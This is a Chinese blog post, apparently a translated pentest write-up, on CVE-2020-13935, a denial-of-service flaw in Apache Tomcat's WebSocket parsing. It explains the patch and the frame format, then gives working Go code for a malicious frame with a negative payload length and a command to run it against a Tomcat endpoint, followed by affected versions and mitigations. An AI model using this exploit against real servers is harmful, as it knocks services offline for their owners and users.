深入探讨apache tomcat中的websocket漏洞

深入探讨apache tomcat中的websocket漏洞

Apache Tomcat是Web应用程序常用的Java应用程序服务器,我们在渗透测试中经常遇到这种情况。

在这篇文章中,我们将深入分析Apache Tomcat服务器中的漏洞和一种可帮助我们的客户评估其业务风险的漏洞。
该漏洞是与WebSockets一起出现的拒绝服务漏洞,并且已分配漏洞编号CVE-2020-13935 。

在渗透测试期间,我们经常会看到服务器运行的是Apache Tomcat的过时版本。
如果给定版本包含供应商(或维护者)已发布相应安全更新的漏洞,则我们将软件分类为“过时”。
但是,某些漏洞仅在某些情况下可以利用,并且升级Web应用程序服务器可能会付出高昂的代价。因此,必须有简洁的信息来就漏洞是否影响给定产品以及是否值得升级做出明智的决定。
不幸的是,并非所有供应商/维护者都对安全透明

Apache Tomcat 9.0.37发行说明显示,已在2020年7月发现并修复了一个漏洞,内容如下:

WebSocket框架中的有效负载长度未正确验证。无效的有效载荷长度可能会触发无限循环。有效载荷长度无效的多个请求可能导致拒绝服务。

此信息含糊不清,导致出现以下问题:

  • 什么构成无效的有效载荷长度?
  • 发生哪种拒绝服务?CPU或内存耗尽?甚至崩溃了?
  • 在什么情况下应用程序容易受到攻击?Apache Tomcat何时解析WebSocket消息?
  • 攻击者需要进行哪些投资?开发是否需要大量带宽或计算能力?
  • 对于不可行升级的情况,是否有可能的解决方法?

这些问题可以通过一些分析来回答,并且(在许多其他方面)这也是我们渗透测试的一部分。

补丁

Apache安全团队链接了 此漏洞的相应 补丁。以下代码已添加到中 java/org/apache/tomcat/websocket/WsFrameBase.java,以修复漏洞(为便于阅读而进行了重新格式化):

// 这8个字节中最重要的位需要为零
// (见RFC 6455,第5.2节)。如果设置了最有效位,
// 最终的有效载荷长度将是负的所以测试一下。
if (payloadLength < 0) {
    throw new WsIOException(
        new CloseReason(
            CloseCodes.PROTOCOL_ERROR,
            sm.getString("wsFrame.payloadMsbInvalid")
        )
    );
}

如我们所见,更改包括对类型的有效负载长度字段的额外检查,long如果该值为负,则会引发异常。但是有效载荷长度如何为负?

为了回答这个问题,让我们看一下相应的RFC中提供的WebSocket框架的结构:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+

帧的前16位包含几个位标志以及7位有效载荷长度。如果此有效负载长度设置为127(二进制1111111),则该图表指示应使用所谓的64位扩展有效负载长度。此外,WebSocket RFC指出:

如果[7位有效载荷长度为127],则以下8个字节被解释为64位无符号整数(最高有效位必须为0)是有效载荷长度。

尽管该字段显然是64位无符号整数,但RFC另外要求最高有效位为零,这似乎是一个奇特的选择。也许是为了提供与已签名的实现的互操作性而做出的选择,但是这可能会引起混乱。在这种情况下,它甚至导致了安全漏洞。

编写漏洞利用

接下来,我们将在Go中实现概念验证。您为什么会问为什么?Go非常棒❤️和内置的并发性以及对WebSockets的良好库支持非常有用。此外,我们能够为需要的任何平台交叉编译PoC。

让我们按照规范进行操作,并构造一个WebSocket框架,该框架在由Apache Tomcat解析时具有负的有效载荷长度。首先,对位标志的值FIN, RSV1RSV2RSV3被选择的需要。
FIN用于指示消息的最后一帧。由于我们要发送的整个消息都包含在单个帧中,因此将该位设置为1。RSV位保留供将来使用和WebSocket规范的扩展,因此它们都设置为零。
opcode字段(4比特)表示发送的数据的类型。该值必须有效,否则将丢弃该帧。在这种情况下,我们要发送一个简单的文本有效负载,这要求将此字段设置为值1。Go库github.com/gorilla/websocket提供我们将要使用的常量。

现在我们已经可以构造恶意WebSocket帧的第一个字节:

var buf bytes.Buffer

fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage

buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

第二个字节的第一位是 MASK位,必须将其设置为从客户端发送到服务器的帧数。有趣的部分是有效载荷长度,该长度可以变化。如果WebSocket消息的有效负载大小不超过125个字节,则可以直接在7位有效负载长度字段中对长度进行编码。对于126至65535之间的有效负载长度,将7位有效负载长度字段设置为常数126,并且在接下来的两个字节中将有效负载长度编码为16位无符号整数。对于较大的有效负载,必须将7位有效负载长度字段设置为127,接下来的四个字节将有效负载长度编码为64位无符号整数。如前所述,对于以64位定义的有效载荷长度,必须根据规范将最高有效位(MSB)设置为零。

// 始终设置掩码位
// 指示64位信息长度
buf.WriteByte(byte(1<<7 | 0b1111111))

为了构造有效载荷长度无效的帧,从而触发Apache Tomcat实现中的不当行为,我们将以下八个字节设置为0xFF

// 将msb设置为1,违反规范并触发bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

以下四个字节是屏蔽密钥。规范要求这是来自强大熵的随机32位值,但是由于我们已经违反了规范,因此我们仅使用静态屏蔽键使代码更易于阅读:

// 4 byte masking key
// 现在保留零,所以我们不需要掩码
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)

实际的有效负载本身可以小于指定的长度:

// 写不完整的信息
buf.WriteString("test")

我们的数据包的组装和传输如下所示。为确保正常运行,我们在发送后将连接保持打开状态30秒钟:

ws, _, err := websocket.DefaultDialer.Dial(url, nil)

if err != nil {
    return fmt.Errorf("dial: %s", err)
}

_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
    return fmt.Errorf("write: %s", err)
}

// keep the websocket connection open for some time
time.Sleep(30 * time.Second)

可在github.com/RedTeamPentesting/CVE-2020-13935找到此概念验证漏洞的 代码

深入探讨apache tomcat中的websocket漏洞

只需运行即可生成可执行文件go build
为了测试该程序,我们可以设置一个易受攻击的Apache Tomcat实例,并以安装随附的WebSocket示例之一为目标:

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

这就是利用拒绝服务漏洞所要做的全部工作。
如果现在将易受攻击的WebSocket端点作为目标并发出多个恶意请求,则CPU使用率将迅速上升,服务器将变得无响应。

请注意,解析代码仅由实际需要WebSocket消息的端点触发。我们无法将这样的消息发送到任意的Tomcat HTTP端点。

受影响版本:

  • 10.0.0-M1至10.0.0-M6
  • 9.0.0.M1至9.0.36
  • 8.5.0至8.5.56
  • 7.0.27至7.0.104

如何防御

如果可能,请将您的Apache Tomcat服务器更新为当前版本。但是,在某些情况下,更新不可行或成本很高。在这种情况下,您应该评估您的产品是否易受攻击。如上所述,该错误只能在WebSockets端点上触发。因此,禁用或限制对这些端点的访问将减轻此问题。请注意,内置示例目录还包含处理WebSocket的端点。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注